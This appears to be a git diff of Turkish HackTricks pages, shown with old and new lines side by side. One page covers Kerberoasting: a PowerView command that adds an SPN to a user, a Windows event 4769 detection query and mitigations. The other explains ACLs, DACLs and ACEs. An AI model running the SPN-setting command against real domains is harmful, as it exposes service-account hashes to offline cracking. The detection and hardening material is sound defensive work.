Eğer bir kullanıcı üzerinde yeterli **izinlere** sahipseniz, onu **kerberoast edilebilir** hale getirebilirsiniz:
Eğer bir kullanıcı üzerinde yeterli **izinlere** sahipseniz, onu **kerberoastable** hale getirebilirsiniz:
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
```
Kerberoast saldırıları için yararlı **araçları** burada bulabilirsiniz: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
Eğer bu hatayı Linux'tan alıyorsanız: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** bu, yerel saatinizden kaynaklanır, ana bilgisayarı DC ile senkronize etmeniz gerekir. Birkaç seçenek bulunmaktadır:
Eğer Linux'tan bu **hata** ile karşılaşırsanız: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** bu, yerel saatinizden kaynaklanır, ana bilgisayarı DC ile senkronize etmeniz gerekir. Birkaç seçenek bulunmaktadır:
* `ntpdate <DC'nin IP'si>` - Ubuntu 16.04'ten itibaren kullanım dışı
* `rdate -n <DC'nin IP'si>`
### Hafifletme
Kerberoasting, sömürülebilirse yüksek derecede gizlilikle gerçekleştirilebilir. Bu faaliyeti tespit etmek için dikkat edilmesi gereken **Güvenlik Olay Kimliği 4769**'a dikkat edilmelidir, bu olay bir Kerberos bileti istendiğini gösterir. Ancak, bu olayın sıklığı nedeniyle, şüpheli faaliyetleri izole etmek için belirli filtreler uygulanmalıdır:
Kerberoasting, sömürülebilirse yüksek derecede gizlilikle gerçekleştirilebilir. Bu faaliyeti tespit etmek için dikkat edilmesi gereken nokta, bir Kerberos bileti istendiğini belirten **Güvenlik Olay Kimliği 4769**'dur. Ancak, bu olayın sıklığı nedeniyle şüpheli faaliyetleri izole etmek için belirli filtreler uygulanmalıdır:
* Hizmet adı **krbtgt** olmamalıdır, çünkü bu normal bir istektir.
* **$** ile biten hizmet adları, servisler için kullanılan makine hesaplarını içermemek için hariç tutulmalıdır.
* Makinelerden gelen istekler, **makine@domain** biçimindeki hesap adlarını hariç tutarak filtrelenmelidir.
* Yalnızca başarılı bilet istekleri dikkate alınmalıdır, başarısızlık kodu **'0x0'** ile belirlenir.
* Yalnızca başarılı bilet istekleri dikkate alınmalıdır, **'0x0'** hata kodu ile belirlenenler.
* **En önemlisi**, bilet şifreleme türü **0x17** olmalıdır, bu genellikle Kerberoast saldırılarında kullanılır.
```bash
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
```
Kerberoasting risklerini azaltmak için şunları yapabilirsiniz:
- **Hizmet Hesabı Şifrelerinin tahmin edilmesi zor olacak şekilde** ayarlanması, en az **25 karakterlik** bir uzunluk önerilir.
- **Yönetilen Hizmet Hesapları** kullanılması, **otomatik şifre değişiklikleri** ve **yetkilendirilmiş Hizmet İlkesi Adı (SPN) Yönetimi** gibi faydalar sunarak bu tür saldırılara karşı güvenliği artırır.
- **Hizmet Hesabı Şifrelerinin tahmin edilmesi zor olacak şekilde** yapılmasını sağlayın, en az **25 karakter** uzunluğunu önerin.
- **Yönetilen Hizmet Hesapları** kullanın, otomatik şifre değişiklikleri ve yetkilendirilmiş Hizmet Başlığı Adı (SPN) Yönetimi gibi faydalar sunarak bu tür saldırılara karşı güvenliği artırın.
Bu önlemleri uygulayarak, kuruluşlar Kerberoasting ile ilişkili riski önemli ölçüde azaltabilirler.
Bu önlemleri uygulayarak, kuruluşlar Kerberoasting ile ilişkilendirilen riski önemli ölçüde azaltabilirler.
## Alan hesabı olmadan Kerberoast
**Eylül 2022**'de, bir araştırmacı olan Charlie Clark tarafından bir sistemi sömürmek için yeni bir yol [exploit.ph](https://exploit.ph/) platformu aracılığıyla paylaşıldı. Bu yöntem, herhangi bir Active Directory hesabı üzerinde kontrol gerektirmeyen **KRB\_AS\_REQ** isteği aracılığıyla **Hizmet Biletleri (ST)** elde etmeyi sağlar. Temelde, bir pre-authentication gerektirmeyen bir şekilde bir prensip kurulursa - siber güvenlik alanında **AS-REP Roasting saldırısı** olarak bilinen bir senaryoya benzer bir senaryo - bu özellik isteğin işlenmesi için kullanılabilir. Özellikle, isteğin gövdesindeki **sname** özniteliğini değiştirerek, sistem **ST** yerine standart şifrelenmiş Bilet Verme Bileti (TGT) vermesi için aldatılır.
**Eylül 2022**'de, araştırmacı Charlie Clark adlı bir kişi tarafından bir sistem üzerinde istismar etmek için yeni bir yol [exploit.ph](https://exploit.ph/) platformu aracılığıyla paylaşıldı. Bu yöntem, herhangi bir Active Directory hesabı üzerinde kontrol gerektirmeyen **KRB\_AS\_REQ** isteği aracılığıyla **Hizmet Biletleri (ST)** elde etmeyi sağlar. Temelde, bir pre-authentication gerektirmeyen bir şekilde bir prensip kurulmuşsa - siber güvenlik alanında bilinen bir senaryo olan **AS-REP Roasting saldırısı** ile benzer bir senaryo - bu özellik isteğin işlenmesini manipüle etmek için kullanılabilir. Özellikle, isteğin gövdesindeki **sname** özniteliğini değiştirerek, sistem standart şifrelenmiş Bilet Verme Bileti (TGT) yerine bir **ST** çıkarmaya aldanır.
Teknik ayrıntılar bu makalede açıklanmıştır: [Semperis blog yazısı](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
Teknik ayrıntılar bu makalede tam olarak ıklanmıştır: [Semperis blog yazısı](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
{% hint style="warning" %}
Bu teknik kullanılarak LDAP sorgulamak için geçerli bir hesabımız olmadığından, bir kullanıcı listesi sağlamanız gerekmektedir.
Bu teknikle LDAP sorgulamak için geçerli bir hesabımız olmadığından, bir kullanıcı listesi sağlamanız gerekmektedir.
{% endhint %}
#### Linux
@ -189,16 +189,16 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %}

View file

@ -3,44 +3,44 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces" %}
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
</details>
## **Erişim Kontrol Listesi (ACL)**
Bir Erişim Kontrol Listesi (ACL), bir nesne ve özellikleri için korumaları belirleyen sıralı bir Erişim Kontrol Girişleri (ACE'ler) kümesinden oluşur. Temelde, bir ACL, belirli bir nesne üzerinde hangi eylemlerin hangi güvenlik prensipleri (kullanıcılar veya gruplar) tarafından izin verildiğini veya reddedildiğini tanımlar.
Bir Erişim Kontrol Listesi (ACL), bir nesne ve özellikleri için korumaları belirleyen bir dizi Sıralı Erişim Denetim Girişi (ACE) içerir. Temelde, bir ACL, belirli bir nesne üzerinde hangi eylemlerin hangi güvenlik prensipleri (kullanıcılar veya gruplar) tarafından izin verildiğini veya reddedildiğini tanımlar.
İki tür ACL vardır:
* **İsteğe Bağlı Erişim Kontrol Listesi (DACL):** Bir nesneye kimlerin erişimi olduğunu veya olmadığını belirler.
* **Sistem Erişim Kontrol Listesi (SACL):** Bir nesneye erişim denemelerinin denetimini yönetir.
Bir dosyaya erişme süreci, sistem tarafından nesnenin güvenlik tanımının kullanıcının erişim belirteciyle karşılaştırılmasıyla gerçekleşir ve erişimin, ACE'ler temelinde hangi erişimlerin sağlanacağı ve bu erişimin kapsamı belirlenir.
Bir dosyaya erişme süreci, sistem tarafından nesnenin güvenlik tanımının kullanıcının erişim belirteciyle karşılaştırılmasıyla gerçekleşir ve erişimin, ACE'lere dayanarak hangi erişimlerin ve ne ölçüde erişimin sağlanacağı belirlenir.
### **Ana Bileşenler**
* **DACL:** Bir nesne için kullanıcılara ve gruplara erişim izinlerini veren veya reddeden ACE'leri içerir. Temelde erişim haklarını belirleyen ana ACL'dir.
* **SACL:** Nesnelere erişimi denetlemek için kullanılan, ACE'lerin Güvenlik Olay Günlüğü'nde kaydedilecek erişim türlerini tanımladığı bir alan. Bu, yetkisiz erişim denemelerini tespit etmek veya erişim sorunlarını gidermek için çok değerli olabilir.
* **SACL:** Nesnelere erişimi denetlemek için kullanılır, burada ACE'lerin Güvenlik Olay Günlüğü'ne kaydedilecek erişim türlerini tanımlar. Bu, yetkisiz erişim girişimlerini tespit etmek veya erişim sorunlarını gidermek için çok değerli olabilir.
### **Sistem ACL'leriyle Etkileşim**
### **Sistemin ACL'lerle Etkileşimi**
Her kullanıcı oturumu, kullanıcı, grup kimlikleri ve ayrıcalıklar da dahil olmak üzere oturumla ilgili güvenlik bilgilerini içeren bir erişim belirtecine sahiptir. Bu belirteç ayrıca oturumu benzersiz şekilde tanımlayan bir oturum kimliği (SID) içerir.
Her kullanıcı oturumu, o oturumla ilgili kullanıcı, grup kimlikleri ve ayrıcalıklar da dahil olmak üzere güvenlik bilgilerini içeren bir erişim belirtecine sahiptir. Bu belirteç ayrıca oturumu benzersiz şekilde tanımlayan bir oturum SID'sini içerir.
Yerel Güvenlik Otoritesi (LSASS), erişim taleplerini işleyerek, erişim denemelerinde bulunan güvenlik prensibine uyan ACE'leri inceleyerek nesnelere erişim sağlar. İlgili ACE'ler bulunamazsa erişim hemen sağlanır. Aksi takdirde, LSASS, ACE'leri erişim uygunluğunu belirlemek için erişim belirtecindeki güvenlik prensibinin SID'sini karşılaştırır.
@ -48,45 +48,45 @@ Yerel Güvenlik Otoritesi (LSASS), erişim taleplerini işleyerek, erişim denem
* **ACL'ler:** DACL'ler aracılığıyla erişim izinlerini ve SACL'ler aracılığıyla denetim kurallarını tanımlar.
* **Erişim Belirteci:** Bir oturum için kullanıcı, grup ve ayrıcalık bilgilerini içerir.
* **Erişim Kararı:** DACL ACE'leri erişim belirteciyle karşılaştırılarak alınır; Denetim için SACL'ler kullanılır.
* **Erişim Kararı:** DACL ACE'leri erişim belirteciyle karşılaştırılarak alınır; denetim için SACL'ler kullanılır.
### ACE'ler
**Üç ana türde Erişim Kontrol Girişleri (ACE)** vardır:
**Üç ana Erişim Kontrol Girişi (ACE)** türü vardır:
* **Erişim Reddedilen ACE:** Bu ACE, belirli kullanıcılara veya gruplara bir nesneye erişimi açıkça reddeder (DACL'de).
* **Erişim İzin Verilen ACE:** Bu ACE, belirli kullanıcılara veya gruplara bir nesneye erişimi açıkça verir (DACL'de).
* **Sistem Denetim ACE'si:** Bir Sistem Erişim Kontrol Listesi (SACL) içinde konumlandırılan bu ACE, bir nesneye erişim denemeleri sırasında denetim günlükleri oluşturur. Bu ACE, erişime izin verilip verilmediğini ve erişimin doğasını belgeler.
* **Erişim Reddedilen ACE:** Bu ACE, belirli kullanıcılar veya gruplar için bir nesneye erişimi açıkça reddeder (bir DACL'de).
* **Erişime İzin Verilen ACE:** Bu ACE, belirli kullanıcılar veya gruplar için bir nesneye erişimi açıkça sağlar (bir DACL'de).
* **Sistem Denetim ACE'si:** Bir Sistem Erişim Kontrol Listesi (SACL) içinde konumlandırılan bu ACE, bir nesneye erişim denemeleri sırasında kullanıcılar veya gruplar tarafından denetim günlükleri oluşturur. Erişimin izin verilip verilmediğini ve erişimin doğasını belgeler.
Her ACE'nin **dört temel bileşeni** vardır:
1. Kullanıcının veya grubun **Güvenlik Tanımlayıcısı (SID)** (veya grafiksel bir temsilindeki başlıca adı).
1. Kullanıcının veya grubun **Güvenlik Tanımlayıcısı (SID)** (veya grafiksel bir temsilindeki ana adı).
2. ACE türünü tanımlayan bir **bayrak**.
3. Miras bayrakları, çocuk nesnelerin ana nesneden ACE'yi devralıp devralamayacağını belirler.
3. Ebeveynlerinden ACE'yi miras alıp alamayacağını belirleyen **miras bayrakları**.
4. Nesnenin verilen haklarını belirleyen bir [**erişim maskesi**](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b?redirectedfrom=MSDN), nesnenin verilen haklarını belirleyen 32 bitlik bir değer.
Erişim belirleme, her ACE'yi sıralı olarak inceleyerek yapılır:
Erişim belirleme, her ACE'yi sıralı olarak inceleyerek gerçekleştirilir:
* Bir **Erişim Reddedilen ACE**, erişim belirtecinde belirtilen bir güvenilir kişiye istenen haklarııkça reddeder.
* **Erişim İzin Verilen ACE'ler**, erişim belirtecinde belirtilen bir güvenilir kişiye tüm istenen haklarııkça verir.
* Tüm ACE'ler kontrol edildikten sonra, istenen herhangi bir hak **açıkça izin verilmemişse**, erişim **örtük olarak reddedilir**.
* **Erişime İzin Verilen ACE'ler**, erişim belirtecinde belirtilen bir güvenilir kişiye tüm istenen haklarııkça verir.
* Tüm ACE'ler kontrol edildikten sonra, herhangi bir istenen hak **açıkça izin verilmemişse**, erişim **örtük olarak reddedilir**.
### ACE'lerin Sırası
**ACE'lerin** (kimin neye erişebileceğini veya erişemeyeceğini söyleyen kurallar) **DACL** adlı listede nasıl yerleştirildiği çok önemlidir. Çünkü sistem bu kurallara dayanarak erişimi verir veya reddederken, geri kalanına bakmayı durdurur.
**ACE'lerin** (kimin neye erişebileceğini veya erişemeyeceğini söyleyen kurallar) **DACL** adlı listede nasıl yerleştirildiği çok önemlidir. Çünkü sistem bu kurallara dayalı olarak erişimi verir veya reddederken, geri kalanına bakmayı durdurur.
Bu ACE'leri düzenlemenin en iyi yolu vardır ve buna **"kanonik sıra"** denir. Bu yöntem, her şeyin sorunsuz ve adil çalışmasını sağlamaya yardımcı olur. İşte **Windows 2000** ve **Windows Server 2003** gibi sistemler için nasıl yapılacağı:
* İlk olarak, **bu öğe için özel olarak oluşturulan tüm kuralları** diğerlerinden önce yerleştirin, örneğin bir üst klasörden gelenler gibi.
* Bu özel kurallar arasında, **"hayır" (reddet)** olanları **"evet" (izin ver)** olanlardan önce yerleştirin.
* Başka bir yerden gelen kurallar için, en yakın kaynaktan başlayın ve oradan geriye gidin. Yine, **"hayır"** önce **"evet"** sonra.
* Başka bir yerden gelen kurallar için, en yakın kaynaktan başlayın, ardından geriye doğru gidin. Yine, **"hayır"** önce **"evet"** sonra.
Bu düzenleme iki büyük şekilde yardımcı olur:
* Özel bir **"hayır"** varsa, diğer **"evet"** kuralları ne olursa olsun saygı gösterilir.
* Bir öğenin sahibinin, üst klasörlerden veya daha geriden gelen kurallardan önce kimin içeri gireceğine **son kararı** vermesine izin verir.
* Belirli bir **"hayır"** olduğundan emin olur, diğer **"evet"** kuralları ne olursa olsun saygı duyulur.
* Bir dosyanın veya klasörün sahibinin, üst klasörlerden veya daha geriden gelen kurallar devreye girmeden önce kimin içeri gireceğine **son kararı** vermesine izin verir.
Bu şekilde yaparak, bir dosya veya klasör sahibi, kimin erişimine izin verileceği konusunda çok hassas olabilir, doğru kişilerin içeri girebileceğinden ve yanlış kişilerin giremeyeceğinden emin olabilir.
Bu şekilde yaparak, bir dosyanın veya klasörün sahibi, kimin erişimine izin verileceği konusunda çok hassas olabilir, doğru kişilerin içeri girebileceğinden ve yanlış kişilerin giremeyeceğinden emin olabilir.
![](https://www.ntfs.com/images/screenshots/ACEs.gif)
@ -95,19 +95,19 @@ Bu **"kanonik sıra"**, erişim kurallarının açık ve düzgün çalışmasın
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### GUI Örneği
[**Buradan örnek**](https://secureidentity.se/acl-dacl-sacl-and-the-ace/) alınmıştır.
[**Buradan örnek**](https://secureidentity.se/acl-dacl-sacl-and-the-ace/)
Bu, bir klasörün ACL, DACL ve ACE'lerini gösteren klasik güvenlik sekmesidir:
![http://secureidentity.se/wp-content/uploads/2014/04/classicsectab.jpg](../../.gitbook/assets/classicsectab.jpg)
**Gelişmiş** düğmesine tıklarsak miras gibi daha fazla seçenek alırız:
**Gelişmiş** düğmesine tıklarsak, miras gibi daha fazla seçenek alırız:
![http://secureidentity.se/wp-content/uploads/2014/04/aceinheritance.jpg](../../.gitbook/assets/aceinheritance.jpg)
@ -115,60 +115,60 @@ Ve bir Güvenlik İlkesi ekler veya düzenlersek:
![http://secureidentity.se/wp-content/uploads/2014/04/editseprincipalpointers1.jpg](../../.gitbook/assets/editseprincipalpointers1.jpg)
Ve son olarak Denetim sekmesinde SACL'yi buluruz:
Ve son olarak, Denetim sekmesinde SACL'ye sahibiz:
![http://secureidentity.se/wp-content/uploads/2014/04/audit-tab.jpg](../../.gitbook/assets/audit-tab.jpg)
### Erişim Kontrolünü Basitleştirilmiş Bir Şekilde Açıklama
Kaynaklara, örneğin bir klasöre erişimi yönetirken Erişim Kontrol Listeleri (ACL'ler) ve Erişim Kontrol Girişleri (ACE'ler) olarak bilinen listeler ve kurallar kullanırız. Bu, belirli verilere kimin erişebileceğini veya erişemeyeceğini tanımlar.
Kaynaklara, örneğin bir klasöre erişimi yönetirken, Erişim Kontrol Listeleri (ACL'ler) ve Erişim Kontrol Girişleri (ACE'ler) olarak bilinen listeler ve kurallar kullanırız. Bu kurallar kimin belirli verilere erişebileceğini veya erişemeyeceğini tanımlar.
#### Belirli Bir Gruba Erişimi Reddetme
Maliyet adında bir klasörünüz olduğunu ve herkesin erişmesini istediğinizi ancak pazarlama ekibinin erişimini istemediğinizi hayal edin. Kuralları doğru bir şekilde ayarlayarak, pazarlama ekibinin erişimini herkesin erişimine izin vermeden önce açıkça reddedebiliriz. Bu, pazarlama ekibine erişimi reddeden kuralı, herkese erişime izin veren kuralın önüne yerleştirerek yapılır.
Maliyet adında bir klasörünüz olduğunu ve herkesin erişmesini istediğinizi ancak pazarlama ekibinin erişimini istemediğinizi hayal edin. Kuralları doğru bir şekilde ayarlayarak, pazarlama ekibinin erişimine izin vermeden herkesin erişimini sağlayabiliriz. Bu, pazarlama ekibine erişimi reddetmek için herkesin erişimine izin veren kuralın önüne pazarlama ekibine erişimi reddeden kuralın yerleştirilmesiyle yapılır.
#### Reddedilen Bir Grubun Belirli Bir Üyesine Erişim İzni Verme
#### Reddedilen Bir Grubun Belirli Bir Üyesine Erişime İzin Verme
Genelde pazarlama ekibinin erişimi olmamalı olsa da, pazarlama direktörü Bob'un Maliyet klasörüne erişime ihtiyacı olduğunu varsayalım. Bob için erişim sağlayan belirli bir kural (ACE) ekleyebilir ve bu kuralı pazarlama ekibine erişimi reddeden kuralın önüne yerleştirebiliriz. Böylece Bob, ekibinin genel kısıtlamasına rağmen erişim elde eder.
#### Erişim Kontrol Girişlerini Anlama
ACE'ler, bir ACL içindeki bireysel kurallardır. Kullanıcıları veya grupları tanımlar, hangi erişimin izin verildiğini veya reddedildiğini belirtir ve bu kuralların alt öğelere (miras) nasıl uygulandığını belirler. İki ana ACE türü vardır:
ACE'ler, bir ACL içindeki bireysel kurallardır. Kullanıcıları veya grupları tanımlar, hangi erişimin izin verildiğini veya reddedildiğini belirler ve bu kuralların alt öğelere (miras) nasıl uygulandığını belirler. İki ana ACE türü vardır:
* **Genel ACE'ler**: Bu geniş kapsamlı uygulanır, ya tüm nesne türlerini etkiler ya da yalnızca konteynerler (klasörler gibi) ile konteyner olmayanları (dosyalar gibi) ayırır. Örneğin, bir klasörün içeriğini görmelerine izin veren ancak içindeki dosyalara erişimlerini engelleyen bir kural.
* **Nesne Özgü ACE'ler**: Bu, daha kesin kontrol sağlar, belirli nesne türleri veya hatta bir nesne içindeki bireysel özellikler için kuralların belirlenmesine izin verir. Örneğin, bir kullanıcı dizininde, bir kural bir kullanıcının telefon numarasını güncellemesine izin verebilir ancak giriş saatlerini güncellemesine izin vermez.
* **Genel ACE'ler**: Geniş kapsamlı uygulanır, tüm nesne türlerini etkiler veya yalnızca konteynerler (klasörler gibi) ile konteyner olmayanlar (dosyalar gibi) arasında ayrım yapar. Örneğin, bir kuralın kullanıcılara bir klasörün içeriğini görmelerine ancak içindeki dosyalara erişmemelerine izin verdiği durum.
* **Nesne Özgü ACE'ler**: Daha kesin kontrol sağlar, belirli nesne türleri veya hatta bir nesne içindeki bireysel özellikler için kuralların belirlenmesine izin verir. Örneğin, bir kullanıcının telefon numarasını güncellemesine ancak giriş saatlerini güncellemesine izin veren bir klasörde bir kural olabilir.
Her ACE, kuralın kimin üzerine uygulandığı (Bir Güvenlik Kimliği veya SID kullanarak), kuralın neyi izin verdiği veya reddettiği (erişim maskesi kullanarak) ve diğer nesneler tarafından nasıl miras alındığı gibi önemli bilgiler içerir.
Her ACE, kuralın kimin üzerinde uygulandığı (Bir Güvenlik Tanımlayıcı veya SID kullanarak), kuralın neyi izin verdiği veya reddettiği (bir erişim maskesi kullanarak) ve diğer nesneler tarafından nasıl miras alındığı gibi önemli bilgiler içerir.
#### ACE Türleri Arasındaki Temel Farklar
* **Genel ACE'ler**, aynı kuralın bir nesnenin tüm yönlerine veya bir konteyner içindeki tüm nesnelere uygulandığı basit erişim kontrol senaryoları için uygundur.
* **Nesne Özgü ACE'ler**, özellikle Active Directory gibi ortamlarda belirli bir nesnenin özelliklerine farklı şekilde erişimi kontrol etmeniz gereken karmaşık senaryolar için kullanılır.
Özetle, ACL'ler ve ACE'ler, hassas bilgilere veya kaynaklara sadece doğru kişilerin veya grupların erişimine izin vererek, erişim haklarını bireysel özellikler veya nesne türleri seviyesine kadar özelleştirebilmenizi sağlar.
Özetle, ACL'ler ve ACE'ler, hassas bilgilere veya kaynaklara sadece doğru kişilerin veya grupların erişimine izin vererek, erişim haklarını bireysel özellikler veya nesne türleri seviyesine kadar özelleştirebilme yeteneği sağlar.
### Erişim Kontrol Girişi Düzeni
| ACE Alanı | Açıklama |
| ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Tür | ACE'nin türünü gösteren bayrak. Windows 2000 ve Windows Server 2003, altı türde ACE'yi destekler: Tüm güvenilir nesnelerle ilişkilendirilen üç genel ACE türü. Active Directory nesneleri için oluşabilecek üç nesne özgü ACE türü. |
| Tür | ACE'nin türünü gösteren bayrak. Windows 2000 ve Windows Server 2003, altı türde ACE'yi destekler: Tüm güvenli nesnelerle ilişkilendirilen üç genel ACE türü. Active Directory nesneleri için oluşabilecek üç nesne özgü ACE türü. |
| Bayraklar | Miras ve denetimleri kontrol eden bit bayrakları kümesi. |
| Boyut | ACE için ayrılan bellek baytlarının sayısı. |
| Erişim maskesi | Nesne için erişim haklarını belirten 32 bitlik değer. Bitler açık veya kapalı olabilir, ancak ayarın anlamı ACE türüne bağlıdır. Örneğin, okuma izinlerine karşılık gelen bit açıksa ve ACE türü Reddetme ise, ACE nesnenin izinlerini okuma hakkını reddeder. Aynı bit açıkken ve ACE türü İzin ise, ACE nesnenin izinlerini okuma hakkını verir. Erişim maskesinin ayrıntıları bir sonraki tabloda görünmektedir. |
| SID | Bu ACE tarafından kontrol edilen veya izlenen bir kullanıcıyı veya grubu tanımlar. |
| SID | Bu ACE tarafından denetlenen veya izlenen bir kullanıcıyı veya grubu tanımlar. |
### Erişim Maskesi Düzeni
| Bit (Aralık) | Anlam | Açıklama/Örnek |
| ----------- | ---------------------------------- | ----------------------------------------- |
| 0 - 15 | Nesne Özgü Erişim Hakları | Veri okuma, Yürütme, Veri ekleme |
| 16 - 22 | Standart Erişim Hakları | Silme, ACL yazma, Sahibi yazma |
| 16 - 22 | Standart Erişim Hakları | Silme, ACL Yazma, Sahibi Yazma |
| 23 | Güvenlik ACL'sine erişebilir | |
| 24 - 27 | Ayrılmış | |
| 28 | Genel TÜMÜ (Okuma, Yazma, Yürütme) | Aşağıdaki her şey |
| 29 | Genel Yürütme | Bir programı çalıştırmak için gerekli olan her şey |
| 30 | Genel Yazma | Bir dosyaya yazmak için gereken her şey |
| 31 | Genel Okuma | Bir dosyayı okumak için gereken her şey |
| 28 | Genel TÜMÜ (Okuma, Yazma, Yürütme) | Her şey aşağıda |
| 29 | Genel Yürütme | Bir programı yürütmek için gerekli olan her şey |
| 30 | Genel Yazma | Bir dosyaya yazmak için gerekli olan her şey |
| 31 | Genel Okuma | Bir dosyayı okumak için gerekli olan her şey |
## Referanslar
@ -182,18 +182,18 @@ Her ACE, kuralın kimin üzerine uygulandığı (Bir Güvenlik Kimliği veya SID
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
